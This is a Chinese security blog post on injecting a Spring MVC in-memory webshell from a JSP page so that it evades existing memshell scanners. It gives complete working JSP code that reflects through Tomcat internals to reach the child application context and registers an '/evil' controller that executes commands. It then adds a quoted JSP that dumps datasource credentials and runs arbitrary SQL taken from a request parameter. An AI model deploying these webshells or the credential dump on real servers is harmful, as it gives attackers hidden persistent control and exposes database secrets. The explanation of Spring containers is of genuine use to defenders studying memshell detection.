在 JSP 中优雅的注入 Spring 内存马

admin 2025年2月12日13:32:04评论12 views字数 32083阅读106分56秒阅读模式

在 JSP 中优雅的注入 Spring 内存马

前言

本文首发奇安信攻防社区, 原文链接: https://forum.butian.net/share/4053

随着内存马的检测工具不断完善, 内存马的排查也越来越严格, 目前市面上的主流内存马排查工具通常有两款:

4ra1n 师傅的: https://github.com/4ra1n/shell-analyzer, 其中核心思路为, 使用JavaAgent技术进行Java 类的重新加载, 筛选出可疑的类, 并反编译出其 class 字节码进行检测. c0ny1 师傅的: https://github.com/c0ny1/java-memshell-scanner, 其中核心思路为, 内存马是注入到哪个变量的, 那么就通过反射遍历哪个变量, 筛选出可疑的类. 这些手法通过一个单独的jsp文件即可检测.

它们都囊括了Servlet, Filter, Listener内存马的检测, 但都没有专门的为Spring类型的内存马进行检测.

所以在这里我们可以通过一系列手段进行注入Spring内存马进行逃避检测, 当然本篇文章并不会介绍往常的在 Controller 中注入 Controller (但会给出案例演示以示区别), 而是在 Jsp (Servlet)中进行注入Controller (Spring).

本篇文章目录结构如下:

在 JSP 中优雅的注入 Spring 内存马

基础环境搭建

在这里本篇的文章都会基于该环境进行演示, 以更好的描述文章中所提到的点以及问题. 这里以SpringMVC + Tomcat 8.5.0进行创建项目, 环境大致如下.

依赖信息 pom.xml

pom.xml文件内容:

<properties>
<spring.version>5.3.39</spring.version>
<tomcat.version>8.5.0</tomcat.version>
</properties>

<dependencies>
<!-- c3p0 -->
<dependency>
<groupId>com.mchange</groupId>
<artifactId>c3p0</artifactId>
<version>0.9.5.2</version>
</dependency>
<!-- mysql 驱动 -->
<dependency>
<groupId>mysql</groupId>
<artifactId>mysql-connector-java</artifactId>
<version>8.0.28</version>
</dependency>
<!--Tomcat核心库-->
<dependency>
<groupId>org.apache.tomcat</groupId>
<artifactId>tomcat-catalina</artifactId>
<version>${tomcat.version}</version>
</dependency>
<!--Tomcat工具库-->
<dependency>
<groupId>org.apache.tomcat</groupId>
<artifactId>tomcat-util</artifactId>
<version>${tomcat.version}</version>
</dependency>
<!--JSPAPI-->
<dependency>
<groupId>javax.servlet.jsp</groupId>
<artifactId>jsp-api</artifactId>
<version>2.2</version>
</dependency>
<!--JSTL标签库-->
<dependency>
<groupId>javax.servlet.jsp.jstl</groupId>
<artifactId>jstl-api</artifactId>
<version>1.2</version>
<scope>provided</scope>
</dependency>
<!--ServletAPI-->
<dependency>
<groupId>javax.servlet</groupId>
<artifactId>javax.servlet-api</artifactId>
<version>4.0.1</version>
<scope>provided</scope>
</dependency>
<!--Spring AOP-->
<dependency>
<groupId>org.springframework</groupId>
<artifactId>spring-aop</artifactId>
<version>${spring.version}</version>
</dependency>
<!--Spring Aspects-->
<dependency>
<groupId>org.springframework</groupId>
<artifactId>spring-aspects</artifactId>
<version>${spring.version}</version>
</dependency>
<!--Spring Beans-->
<dependency>
<groupId>org.springframework</groupId>
<artifactId>spring-beans</artifactId>
<version>${spring.version}</version>
</dependency>
<!--Spring Context-->
<dependency>
<groupId>org.springframework</groupId>
<artifactId>spring-context</artifactId>
<version>${spring.version}</version>
</dependency>
<!--Spring Core-->
<dependency>
<groupId>org.springframework</groupId>
<artifactId>spring-core</artifactId>
<version>${spring.version}</version>
</dependency>
<!--Spring Expression Language (SpEL)-->
<dependency>
<groupId>org.springframework</groupId>
<artifactId>spring-expression</artifactId>
<version>${spring.version}</version>
</dependency>
<!--Spring JDBC-->
<dependency>
<groupId>org.springframework</groupId>
<artifactId>spring-jdbc</artifactId>
<version>${spring.version}</version>
</dependency>
<!--Spring ORM-->
<dependency>
<groupId>org.springframework</groupId>
<artifactId>spring-orm</artifactId>
<version>${spring.version}</version>
</dependency>
<!--Spring Transaction Management-->
<dependency>
<groupId>org.springframework</groupId>
<artifactId>spring-tx</artifactId>
<version>${spring.version}</version>
</dependency>
<!--Spring Web-->
<dependency>
<groupId>org.springframework</groupId>
<artifactId>spring-web</artifactId>
<version>${spring.version}</version>
</dependency>
<!--Spring Web MVC-->
<dependency>
<groupId>org.springframework</groupId>
<artifactId>spring-webmvc</artifactId>
<version>${spring.version}</version>
</dependency>
</dependencies>

其中引入Tomcat 8.5.0 & SpringMVC 5.3.39进行调试.

组件信息 web.xml

随后定义/webapp/WEB-INF/web.xml文件内容如下:

<context-param>
<param-name>contextConfigLocation</param-name>
<param-value>classpath:spring-parent.xml</param-value>
</context-param>
<listener>
<listener-class>org.springframework.web.context.ContextLoaderListener</listener-class>
</listener>

<servlet>
<servlet-name>dispatcherServlet</servlet-name>
<servlet-class>org.springframework.web.servlet.DispatcherServlet</servlet-class>
<init-param>
<param-name>contextConfigLocation</param-name>
<param-value>classpath:spring-child.xml</param-value>
</init-param>
<load-on-startup>1</load-on-startup>
</servlet>
<servlet-mapping>
<servlet-name>dispatcherServlet</servlet-name>
<url-pattern>/</url-pattern>
</servlet-mapping>

特别注意这里定义的ContextLoaderListener中读取的contextConfigLocationspring-parent.xml.

DispatcherServlet中读取的contextConfigLocationspring-child.xml, 这里笔者这样定义也是有含义的, 它会涉及到Spring的父子容器问题.

Spring IOC 定义

定义/resources/spring-child.xml文件内容如下:

<?xml version="1.0" encoding="UTF-8"?>
<beansxmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xmlns:context="http://www.springframework.org/schema/context"
xmlns:mvc="http://www.springframework.org/schema/mvc"
xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd http://www.springframework.org/schema/context https://www.springframework.org/schema/context/spring-context.xsd http://www.springframework.org/schema/mvc https://www.springframework.org/schema/mvc/spring-mvc.xsd">

<context:component-scanbase-package="com.heihu577.controller"/><!-- 扫描包 -->
<beanclass="org.springframework.web.servlet.view.InternalResourceViewResolver">
<propertyname="prefix"value="/WEB-INF/pages/"/>
<propertyname="suffix"value=".jsp"/>
</bean><!-- 定义视图解析器 -->
<beanclass="com.mchange.v2.c3p0.ComboPooledDataSource">
<propertyname="driverClass"value="com.mysql.cj.jdbc.Driver"/>
<propertyname="jdbcUrl"
value="jdbc:mysql://localhost:3306/mysql?useSSL=true&amp;useUnicode=true&amp;characterEncoding=utf-8"/>

<propertyname="user"value="root"/>
<propertyname="password"value=""/>
</bean><!-- 定义数据源配置 -->
<mvc:annotation-driven/><!-- 能支持 Spring MVC 高级功能, JSR 303 校验, 映射动态请求 -->
<mvc:default-servlet-handler/><!-- 将 Spring MVC 不能处理的请求, 交给 Tomcat 处理, 例如 css js -->
</beans>

其中/resources/spring-parent.xml定义为如下内容:

<?xml version="1.0" encoding="UTF-8"?>
<beansxmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"xmlns:utils="http://www.springframework.org/schema/util"
xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd http://www.springframework.org/schema/util https://www.springframework.org/schema/util/spring-util.xsd">

<utils:propertiesid="myConfig"><!-- 定义一个 Properties 类型的 Bean, 假装数据源配置. -->
<propkey="username">root</prop>
<propkey="password">toor</prop>
</utils:properties>
</beans>

其中为什么这样定义, 在后续部分进行说明.

SpringMVC Controller 定义

定义在com.heihu577.controller中, 如下:

@Controller
publicclassHeihuController{
@RequestMapping("/hello")
@ResponseBody
public String hello(){
return"hello";
    }
}

一个特别简单的接受请求的 Controller, 后续会在该 Controller 上进行添加代码进行讲解.

传统 Controller 注入方式

在介绍这种方法之前, 我们先来回顾一下传统的 Controller 注入方式, 创建如下 Controller:

@Controller
publicclassInjectController{
classEvilController{
publicvoidevil()throws IOException {
            Runtime.getRuntime().exec("calc");
        }
    }

@RequestMapping("/test")
@ResponseBody
public String test(HttpServletRequest request)throws Exception {
        WebApplicationContext ioc = (WebApplicationContext) request.getAttribute(DispatcherServlet.WEB_APPLICATION_CONTEXT_ATTRIBUTE);
        RequestMappingHandlerMapping requestMappingHandlerMapping = ioc.getBean(RequestMappingHandlerMapping.class);
        RequestMappingInfo requestMappingInfo = new RequestMappingInfo(new PatternsRequestCondition("/evil"), new RequestMethodsRequestCondition(), new ParamsRequestCondition(), new HeadersRequestCondition(), new ConsumesRequestCondition(), new ProducesRequestCondition(), new RequestConditionHolder(null));
        Class<?> abstractHandlerMethodMapping = Class.forName("org.springframework.web.servlet.handler.AbstractHandlerMethodMapping");
        Method registerHandlerMethodMethod = abstractHandlerMethodMapping.getDeclaredMethod("registerHandlerMethod", Object.classMethod.classObject.class);
        registerHandlerMethodMethod.setAccessible(true);
        Method declaredMethod = EvilController.class.getDeclaredMethod("evil");
        System.out.println(declaredMethod);
        registerHandlerMethodMethod.invoke(requestMappingHandlerMapping, new EvilController(), declaredMethod, requestMappingInfo);
        System.out.println(registerHandlerMethodMethod);
return"Hello";
    }
}

这是一个经典的注入Spring内存马的案例, 当注入成功后访问/test即可注入/evil路由的恶意方法, 随后访问即可弹窗, 如下:

在 JSP 中优雅的注入 Spring 内存马

ApplicationContext 获取方式 [IOC]

在上面我们知道的是, 注入Spring内存马我们需要获取到ApplicationContext (IOC 容器) 而通过 ioc 容器来修改其RequestMappingHandlerMapping这个类型的Bean中的信息, 达到内存马注入的效果. 那么核心内容则转换到, 如何获取《关键的 ioc》 身上.

内存马注入 - 传统的 IOC 获取的四种方式

为什么是《关键的 ioc》呢?难道其中有什么区别吗?是的, 笔者先在这里埋下伏笔, 我们先看一下传统的IOC容器获取的方式:

@RequestMapping("/getIoc")
@ResponseBody
public String getIoc(){
// 获取 Root WebApplicationContext
    WebApplicationContext context1 = ContextLoader.getCurrentWebApplicationContext();
    WebApplicationContext context2 = WebApplicationContextUtils.getWebApplicationContext(
            WebApplicationContextUtils.getWebApplicationContext(
                    ((ServletRequestAttributes) RequestContextHolder.getRequestAttributes()).getRequest().getServletContext()
            ).getServletContext()
    );
// 获取 Child WebApplicationContext
    WebApplicationContext context3 = RequestContextUtils.findWebApplicationContext(
            (HttpServletRequest) ((ServletRequestAttributes) RequestContextHolder.currentRequestAttributes()).getRequest(),
            (ServletContext) ((ServletRequestAttributes) RequestContextHolder.currentRequestAttributes()).getRequest().getServletContext()
    );
    WebApplicationContext context4 =
            (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT"0);

    System.out.println(context1); // Root WebApplicationContext
    System.out.println(context2); // Root WebApplicationContext
    System.out.println(context3); // WebApplicationContext for namespace 'dispatcherServlet-servlet'
    System.out.println(context4); // WebApplicationContext for namespace 'dispatcherServlet-servlet'
return"success";
}

为了方便演示, 笔者将定义这样一个Controller进行总结市面上的获取方式, 最终会看到有两个Root WebApplicationContext以及两个WebApplicationContext for namespace 'dispatcherServlet-servlet', 这两个都是 IOC 容器, 它们有什么区别呢?

SpringMVC 父子容器介绍

在这里会进行介绍 SpringMVC 的父子容器架构, 从根本上理解 SpringMVC 父子容器.

官网解释 [官方说明文档]

实际上这两个是 SpringMVC 中的父子容器, Root WebApplicationContext表示为父容器, WebApplicationContext for namespace 'dispatcherServlet-servlet'表示为子容器, 它们之间的关系在SpringMVC官网中给了一张设计图:

在 JSP 中优雅的注入 Spring 内存马

父容器(Root WebApplicationContext):

作用:根容器是整个Web应用的基础容器,通常用于管理应用的通用Bean,如数据源(DataSource)、事务管理器(Transaction Manager)、业务服务(Service Layer)等。

配置:根容器的配置通常在 web.xml 文件中通过 ContextLoaderListener 加载,配置文件通常是 applicationContext.xml。

生命周期:根容器在整个Web应用的生命周期内一直存在,直到应用停止。

子容器(Child WebApplicationContext)

作用:子容器是每个Servlet(如 DispatcherServlet)的专用容器,用于管理与特定Servlet相关的Bean,如Controller、视图解析器(ViewResolver)、拦截器(Interceptor)等。

配置:子容器的配置通常在 DispatcherServlet 的配置文件中加载,配置文件通常是 servlet-context.xml 或者通过 @Configuration 类配置。

生命周期:子容器的生命周期与对应的Servlet相同,当Servlet初始化时创建,当Servlet销毁时销毁。

上面是 SpringMVC 设计时的理念, 在我们当下的代码环境下:

  1. 当配置ContextLoaderListener并指明了context-param时, 实际上是配置了父容器.
  2. 当配置DispatcherServlet并指明了init-param时, 实际上是配置了子容器.

也就是我们在web.xml文件中的这张图:

在 JSP 中优雅的注入 Spring 内存马

现在理解为什么笔者的命名如此《特殊》了吧, 那么它们之间的关系又是怎么样的呢?下面我们从 API 层来描述这个问题.

Spring 案例解释 [API 层分析]

由于官网是在SpringMVC中进行提及的, 如果不能亲身体会到它们之间的区别, 还是不理解为什么这样设计, 笔者在这里给出一个测试案例来手动构建一下父子容器的配置, 以及一个子容器调用父容器的 DEMO:

package com.test;

import org.springframework.context.support.ClassPathXmlApplicationContext;

publicclassMyTest{
publicstaticvoidmain(String[] args){
// 定义父容器
        ClassPathXmlApplicationContext parent = new ClassPathXmlApplicationContext("spring-parent.xml");
// 定义子容器
        ClassPathXmlApplicationContext child = new ClassPathXmlApplicationContext("spring-child.xml");
// 建立父子关系
        child.setParent(parent);
// 刷新 Bean
        child.refresh();
// 通过子容器得到父容器中的 myConfig
        Object bean = child.getBean("myConfig");
// 得到父容器中的值 {password=parent, username=root}
        System.out.println(bean);
    }
}

从最终运行结果我们可以看到的是, 成功的通过子容器得到父容器中定义的 Bean 的值了. 我们来看一下ClassPathXmlApplicationContext::setParent方法的定义:

在 JSP 中优雅的注入 Spring 内存马

由此我们可以从中得到的是: 子容器指向了父容器, 指向方向是单向的, 子容器可以访问父容器的Bean, 父容器无法访问子容器的 Bean.

SpringMVC 父子容器 [源码分析]

在 SpringMVC 中核心类 DispatcherServlet 中的生命周期初始化阶段, 如果配置了ContextLoaderListener类, 那么会调用其contextInitialized方法, 因为它实现了ServletContextListener接口, 看一下方法实现:

在 JSP 中优雅的注入 Spring 内存马

在这里我们可以看到的是, 配置了ContextLoaderListener则会初始化一个容器, 并且将该容器放入到ServletContext这个域中, 其中 Key 为WebApplicationContext.ROOT_WEB_APPLICATION_CONTEXT_ATTRIBUTE, Value 也就是创建的父容器了.

这里特别注意的是, 还将当前父容器放入到currentContextPerThread这个线程中去了, 后面我们还会再与它相遇.

而这个父容器会在我们初始化正常的Bean中, 使用setParent进行指明, 建立其父子关系:

在 JSP 中优雅的注入 Spring 内存马

从中我们可以看到的是, DispatcherServlet中的IOC容器初始化是通过WebApplicationContext.ROOT_WEB_APPLICATION_CONTEXT_ATTRIBUTE来进行得到父容器的, 与我们上面的ContextLoaderListener初始化形成对应关系.

而最终DispatcherServlet初始化容器时, 是根据每次HTTP请求过来, 将生成的子容器放入到request域中, 其中核心逻辑如下:

在 JSP 中优雅的注入 Spring 内存马

从这里我们可以得出结论:

父容器存放至 ServletContext 域中, 其中 Key 为: WebApplicationContext.ROOT_WEB_APPLICATION_CONTEXT_ATTRIBUTE, 并且放入到当前线程, 变量名为 currentContextPerThread

子容器存放至 HttpServletRequest 域中, 其中 Key 为: DispatcherServlet.WEB_APPLICATION_CONTEXT_ATTRIBUTE

给出一张经典图:

在 JSP 中优雅的注入 Spring 内存马

传统 IOC 获取方式原理

在上面《内存马注入 - 传统的 IOC 获取方式》中有介绍到四种方式, 现在我们依次来对它们的原理进行刨析.

第一种方式源码分析 [父容器获取]

第一种的核心获取 IOC 容器的思路代码如下:

WebApplicationContext context1 = ContextLoader.getCurrentWebApplicationContext();

跟进源码看一下做了一些什么操作:

在 JSP 中优雅的注入 Spring 内存马

这种方式很简单, 在上面我们提到过, 父容器最终会放入currentContextPerThread中, 所以迎刃而解.

第二种方式源码分析 [父容器获取]

在 JSP 中优雅的注入 Spring 内存马

这种方式很简单, 父容器最终也会设置到WebApplicationContext.ROOT_WEB_APPLICATION_CONTEXT_ATTRIBUTE中, 迎刃而解.

第 三 & 四 种方式源码分析 [子容器获取]

在 JSP 中优雅的注入 Spring 内存马

都是通过我们上面总结的DispatcherServlet.WEB_APPLICATION_CONTEXT_ATTRIBUTE进行获取, 万变不离其宗.

抛出问题: JSP 中如何获取子容器

由于父容器最终是放在了ServletContext中, 它是由ServletContext生命周期启动时创建的, 所以我们在JSP中当然可以获得到父容器, 如下代码即可:

<%@ page import="org.springframework.web.context.WebApplicationContext" %>
<%@ page import="org.springframework.context.ApplicationContext" %>
<%
    ServletContext servletContext = request.getServletContext();
    ApplicationContext ioc = (ApplicationContext)
            servletContext.getAttribute(WebApplicationContext.ROOT_WEB_APPLICATION_CONTEXT_ATTRIBUTE);
    out.println("Parent => " + ioc); // Parent => Root WebApplicationContext, started on Wed Dec 18 17:03:52 CST 2024 
%>

但是我们并不能通过父容器来进行注入Spring内存马, 因为父容器中根本没有RequestMappingHandlerMapping这个Bean (不走DispatcherServlet::init 逻辑, 不会进行给予 RequestMappingHandlerMapping). 所以我们只能在子容器中进行注入Spring内存马.

而由于子容器是由DispatcherServlet进行创建的, 最终放入到request域对象中, 所以在 JSP 中根本无法获取得到. 也就是说当我们每次请求经过DispatcherServlet (也就是访问 Controller)时, 才会得到子容器.

如下是 JSP 中获取子容器失败的场景, Controller 获取成功的场景在之前已经演示过了不再重复赘述:

<%@ page import="org.springframework.web.servlet.DispatcherServlet" %>
<%
    Object attribute = request.getAttribute(DispatcherServlet.WEB_APPLICATION_CONTEXT_ATTRIBUTE);
    out.println(attribute); // 返回 null
%>

在 JSP 中注入 Spring 内存马

下面看笔者如何来突破这个限制, 在获取到 IOC 子容器的同时, 从而达到在JSP中注入Spring的内存马的目的.

DispatcherServlet 的 IOC 容器保存点 [源码分析]

而我们知道的是, 我们给DispatcherServlet配置了<load-on-startup>标签, 也就意味着在容器启动时, 就会调用DispatcherServlet::init()方法进行初始化操作, 而根据继承链实际上init方法在HttpServletBean中有所定义, 那么我们来看一下这个方法的执行流程:

在 JSP 中优雅的注入 Spring 内存马

这里我们注意的是第二步与第九步, 第二部初始化 IOC 容器后放入到了FrameworkServlet::webApplicationContext属性中.

而第九步的图中则是我们最终 IOC 容器的结果, 里面存放了一系列的 Bean.

在 Jsp 中获取 DispatcherServlet

由于 IOC 容器最终是放置在DispatcherServlet的父类FrameworkServlet::webApplicationContext中的, 如果我们可以得到DispatcherServlet, 通过反射的方式即可获得到webApplicationContext这个 IOC 容器.

而我们知道的是, Jsp的本质是Servlet, 所以当前这个问题不免可以简化为: AServlet如何获取BServlet.

那么我们应该如何进行获取呢?实际上ServletContext中存储了AServlet & BServlet, 我们在AServlet中完全可以通过request.getServletContext()来获得其ServletContext引用:

<%
    ServletContext servletContext = request.getServletContext();
    out.println(servletContext); // org.apache.catalina.core.ApplicationContextFacade@6288ca6f 
%>

AServlet & BServlet最终放入到了ServletContext对象中的哪些属性下, 这个问题之前在我们研究Tomcat - Servlet内存马注入时实际上有所研究过, 现在带大家重温一下.

Servlet 存放 ServletContext 位置 & 获取子容器思路

这里 Tomcat 内存马注入不会再叙述, 看笔者文章: https://www.freebuf.com/vuls/408515.html

这里我们直接定位到org.apache.catalina.core.ApplicationContext::addServlet, 看一下它的逻辑:

在 JSP 中优雅的注入 Spring 内存马

最终是对children这个成员属性进行操作的, 那么我们的所有的Servlet都放入在children属性中. 而每个childrenWrapperServlet存放在它的instance属性中.

在 JSP 中优雅的注入 Spring 内存马

那么我们可以根据这个链路, 通过反射进行获取DispatcherServlet. 而DispatcherServlet的父类FrameworkServlet提供了getWebApplicationContext可以直接获取到子容器:

在 JSP 中优雅的注入 Spring 内存马

编写脚本获取子容器

与 Tomcat 内存马注入不同的点是, 在这里我们对其一个获取并遍历, 从而拿到DispatcherServlet, 调用其getWebApplicationContext拿到它的子容器:

<%@ page import="java.lang.reflect.Field" %>
<%@ page import="java.util.Map" %>
<%@ page import="org.springframework.web.servlet.DispatcherServlet" %>
<%@ page import="org.springframework.web.context.support.XmlWebApplicationContext" %>
<%
    ServletContext servletContext = request.getServletContext();
    Field context1 = servletContext.getClass().getDeclaredField("context");
    context1.setAccessible(true);
    org.apache.catalina.core.ApplicationContext applicationContext = (org.apache.catalina.core.ApplicationContext) context1.get(servletContext);
    Field context2 = applicationContext.getClass().getDeclaredField("context");
    context2.setAccessible(true);
    org.apache.catalina.core.StandardContext standardContext = (org.apache.catalina.core.StandardContext) context2.get(applicationContext);
    Field childrenField = Class.forName("org.apache.catalina.core.ContainerBase").getDeclaredField("children");
    childrenField.setAccessible(true);
    java.util.HashMap<String, org.apache.catalina.Container> children = (java.util.HashMap) childrenField.get(standardContext); // 获得到所有 Servlet 名称
    XmlWebApplicationContext ioc = null;
for (Map.Entry<String, org.apache.catalina.Container> child : children.entrySet()) {
        org.apache.catalina.Container standardWrapper = child.getValue();
        Field instance = standardWrapper.getClass().getDeclaredField("instance");
        instance.setAccessible(true);
        Object o = instance.get(standardWrapper);
if (o instanceof org.springframework.web.servlet.DispatcherServlet) {
            ioc = (XmlWebApplicationContext) ((DispatcherServlet) o).getWebApplicationContext();
        }
    }
    out.println(ioc); // WebApplicationContext for namespace 'dispatcherServlet-servlet', started on Wed Dec 18 19:05:25 CST 2024, parent: Root WebApplicationContext 
%>

这里我们成功通过反射获得到了子容器, 它的反射关系图如下:

在 JSP 中优雅的注入 Spring 内存马

注入内存马

接下来我们只需要在子容器中进行注入Spring内存马即可. 因为已有IOC容器, 我们只需要将《传统 Controller 注入方式》中ioc.getBean中复制粘贴出一个内存马即可, 完整代码如下:

<%@ page import="java.lang.reflect.Field" %>
<%@ page import="java.util.Map" %>
<%@ page import="org.springframework.web.servlet.DispatcherServlet" %>
<%@ page import="org.springframework.web.context.support.XmlWebApplicationContext" %>
<%@ page import="org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping" %>
<%@ page import="org.springframework.web.servlet.mvc.method.RequestMappingInfo" %>
<%@ page import="org.springframework.web.servlet.mvc.condition.*" %>
<%@ page import="java.lang.reflect.Method" %>
<%!
publicstaticclassHeihuController{
publicvoidevilFunction()throws Exception {
            Runtime.getRuntime().exec("calc");
        }
    }
%>
<%
    ServletContext servletContext = request.getServletContext();
    Field context1 = servletContext.getClass().getDeclaredField("context");
    context1.setAccessible(true);
    org.apache.catalina.core.ApplicationContext applicationContext = (org.apache.catalina.core.ApplicationContext) context1.get(servletContext);
    Field context2 = applicationContext.getClass().getDeclaredField("context");
    context2.setAccessible(true);
    org.apache.catalina.core.StandardContext standardContext = (org.apache.catalina.core.StandardContext) context2.get(applicationContext);
    Field childrenField = Class.forName("org.apache.catalina.core.ContainerBase").getDeclaredField("children");
    childrenField.setAccessible(true);
    java.util.HashMap<String, org.apache.catalina.Container> children = (java.util.HashMap) childrenField.get(standardContext); // 获得到所有 Servlet 名称
    XmlWebApplicationContext ioc = null;
for (Map.Entry<String, org.apache.catalina.Container> child : children.entrySet()) {
        org.apache.catalina.Container standardWrapper = child.getValue();
        Field instance = standardWrapper.getClass().getDeclaredField("instance");
        instance.setAccessible(true);
        Object o = instance.get(standardWrapper);
if (o instanceof org.springframework.web.servlet.DispatcherServlet) {
            ioc = (XmlWebApplicationContext) ((DispatcherServlet) o).getWebApplicationContext();
        }
    }
// 以上是获取 IOC 过程, 以下是内存马注入逻辑
    RequestMappingHandlerMapping requestMappingHandlerMapping = ioc.getBean(RequestMappingHandlerMapping.class);
    RequestMappingInfo requestMappingInfo = new RequestMappingInfo(new PatternsRequestCondition("/evil"), new RequestMethodsRequestCondition(), new ParamsRequestCondition(), new HeadersRequestCondition(), new ConsumesRequestCondition(), new ProducesRequestCondition(), new RequestConditionHolder(null));
    Class<?> abstractHandlerMethodMapping = Class.forName("org.springframework.web.servlet.handler.AbstractHandlerMethodMapping");
    Method registerHandlerMethodMethod = abstractHandlerMethodMapping.getDeclaredMethod("registerHandlerMethod", Object.classMethod.classObject.class);
    registerHandlerMethodMethod.setAccessible(true);
    Method declaredMethod = HeihuController.class.getDeclaredMethod("evilFunction");
    registerHandlerMethodMethod.invoke(requestMappingHandlerMapping, new HeihuController(), declaredMethod, requestMappingInfo);
    out.println("Inject Success...");
%>

最终注入结果:

在 JSP 中优雅的注入 Spring 内存马

扩展: 无条件获取数据源配置信息

当然我们获取到IOC容器之后, 不仅仅只可以进行注入内存马操作, 可以通过获取Bean中的数据库连接池, 通过反射查询出其数据库账号密码等操作, 以及修改某些重要的Bean的属性值等操作, 在这里做一个简单的扩展, 拿数据源中的账号密码.

这里可以参考: https://www.javasec.org/javase/JDBC/DataSource.html 中的 《Spring 数据源Hack》, 在这里对其原话进行一个引用:

我们通常可以通过查找Spring数据库配置信息找到数据库账号密码,但是很多时候我们可能会找到非常多的配置项甚至是加密的配置信息,这将会让我们非常的难以确定真实的数据库配置信息。

某些时候在授权渗透测试的情况下我们可能会需要传个shell尝试性的连接下数据库(高危操作,请勿违法!)证明下危害,那么您可以在webshell中使用注入数据源的方式来获取数据库连接对象,甚至是读取数据库密码。

在实战场景中, 大部分项目是没有配置父容器的, 也就是没有定义ContextLoaderListener监听器, 那么使用 Spring 提供的 API 就会失效!

原文中提供的方式会失败 [需 ContextLoaderListener 支持]

在这里笔者贴一下 https://www.javasec.org/javase/JDBC/DataSource.html 中提供的获取数据源配置的代码:

<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%@ page import="org.springframework.context.ApplicationContext" %>
<%@ page import="org.springframework.web.context.support.WebApplicationContextUtils" %>
<%@ page import="javax.sql.DataSource" %>
<%@ page import="java.sql.Connection" %>
<%@ page import="java.sql.PreparedStatement" %>
<%@ page import="java.sql.ResultSet" %>
<%@ page import="java.sql.ResultSetMetaData" %>
<%@ page import="java.util.List" %>
<%@ page import="java.util.ArrayList" %>
<%@ page import="java.lang.reflect.InvocationTargetException" %>
<style>
    th, td {
        border: 1px solid #C1DAD7;
        font-size: 12px;
        padding: 6px;
        color: #4f6b72;
    }
</style>
<%!
// C3PO数据源类
privatestaticfinal String C3P0_CLASS_NAME = "com.mchange.v2.c3p0.ComboPooledDataSource";

// DBCP数据源类
privatestaticfinal String DBCP_CLASS_NAME = "org.apache.commons.dbcp.BasicDataSource";

//Druid数据源类
privatestaticfinal String DRUID_CLASS_NAME = "com.alibaba.druid.pool.DruidDataSource";

/**
     * 获取所有Spring管理的数据源
     * @param ctx Spring上下文
     * @return 数据源数组
     */

List<DataSource> getDataSources(ApplicationContext ctx){
        List<DataSource> dataSourceList = new ArrayList<DataSource>();
        String[]         beanNames      = ctx.getBeanDefinitionNames();

for (String beanName : beanNames) {
            Object object = ctx.getBean(beanName);

if (object instanceof DataSource) {
                dataSourceList.add((DataSource) object);
            }
        }

return dataSourceList;
    }

/**
     * 打印Spring的数据源配置信息,当前只支持DBCP/C3P0/Druid数据源类
     * @param ctx Spring上下文对象
     * @return 数据源配置字符串
     * @throws ClassNotFoundException 数据源类未找到异常
     * @throws NoSuchMethodException 反射调用时方法没找到异常
     * @throws InvocationTargetException 反射调用异常
     * @throws IllegalAccessException 反射调用时不正确的访问异常
     */

String printDataSourceConfig(ApplicationContext ctx)throws ClassNotFoundException,
            NoSuchMethodException, InvocationTargetException, IllegalAccessException 
{

        List<DataSource> dataSourceList = getDataSources(ctx);

for (DataSource dataSource : dataSourceList) {
            String className = dataSource.getClass().getName();
            String url       = null;
            String UserName  = null;
            String PassWord  = null;

if (C3P0_CLASS_NAME.equals(className)) {
                Class clazz = Class.forName(C3P0_CLASS_NAME);
                url = (String) clazz.getMethod("getJdbcUrl").invoke(dataSource);
                UserName = (String) clazz.getMethod("getUser").invoke(dataSource);
                PassWord = (String) clazz.getMethod("getPassword").invoke(dataSource);
            } elseif (DBCP_CLASS_NAME.equals(className)) {
                Class clazz = Class.forName(DBCP_CLASS_NAME);
                url = (String) clazz.getMethod("getUrl").invoke(dataSource);
                UserName = (String) clazz.getMethod("getUsername").invoke(dataSource);
                PassWord = (String) clazz.getMethod("getPassword").invoke(dataSource);
            } elseif (DRUID_CLASS_NAME.equals(className)) {
                Class clazz = Class.forName(DRUID_CLASS_NAME);
                url = (String) clazz.getMethod("getUrl").invoke(dataSource);
                UserName = (String) clazz.getMethod("getUsername").invoke(dataSource);
                PassWord = (String) clazz.getMethod("getPassword").invoke(dataSource);
            }

return"URL:" + url + "<br/>UserName:" + UserName + "<br/>PassWord:" + PassWord + "<br/>";
        }

returnnull;
    }
%>
<%
    String sql = request.getParameter("sql");// 定义需要执行的SQL语句

// 获取Spring的ApplicationContext对象
    ApplicationContext ctx = WebApplicationContextUtils.getWebApplicationContext(pageContext.getServletContext());

// 获取Spring中所有的数据源对象
    List<DataSource> dataSourceList = getDataSources(ctx);

// 检查是否获取到了数据源
if (dataSourceList == null) {
        out.println("未找到任何数据源配置信息!");
return;
    }

    out.println("<hr/>");
    out.println("Spring DataSource配置信息获取测试:");
    out.println("<hr/>");
    out.print(printDataSourceConfig(ctx));
    out.println("<hr/>");

// 定义需要查询的SQL语句
    sql = sql != null ? sql : "select version()";

for (DataSource dataSource : dataSourceList) {
        out.println("<hr/>");
        out.println("SQL语句:<font color='red'>" + sql + "</font>");
        out.println("<hr/>");

//从数据源中获取数据库连接对象
        Connection connection = dataSource.getConnection();

// 创建预编译查询对象
        PreparedStatement pstt = connection.prepareStatement(sql);

// 执行查询并获取查询结果对象
        ResultSet rs = pstt.executeQuery();

        out.println("<table><tr>");

// 获取查询结果的元数据对象
        ResultSetMetaData metaData = rs.getMetaData();

// 从元数据中获取字段信息
for (int i = 1; i <= metaData.getColumnCount(); i++) {
            out.println("<th>" + metaData.getColumnName(i) + "(" + metaData.getColumnTypeName(i) + ")t" + "</th>");
        }

        out.println("<tr/>");

// 获取JDBC查询结果
while (rs.next()) {
            out.println("<tr>");

for (int i = 1; i <= metaData.getColumnCount(); i++) {
                out.println("<td>" + rs.getObject(metaData.getColumnName(i)) + "</td>");
            }

            out.println("<tr/>");
        }

        rs.close();
        pstt.close();
    }
%>

